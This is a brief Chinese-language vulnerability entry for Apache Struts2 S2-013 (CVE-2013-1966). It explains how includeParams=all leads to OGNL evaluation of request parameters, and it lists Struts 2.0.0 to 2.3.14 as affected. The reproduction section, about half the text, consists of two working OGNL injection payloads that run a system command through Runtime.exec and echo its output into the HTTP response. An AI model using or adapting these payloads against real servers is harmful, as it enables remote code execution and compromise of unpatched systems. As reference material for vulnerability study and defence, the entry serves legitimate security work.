(CVE-2013-1966)s2-013¶
一、漏洞简介¶
- struts 的标签中 s:a 和 s:url 都有一个 includeParams 属性
- none - URL中不包含任何参数(默认)
- get - 仅包含URL中的GET参数
- all - 在URL中包含GET和POST参数
- 当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。
- 明明可以urldecode一下就知道params是啥了,但struts给OGNL解析了,就造成了任意代码执行
二、漏洞影响¶
Struts 2.0.0 - Struts 2.3.14
三、复现过程¶
POC 就这2种poc¶
第一个光有回显
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}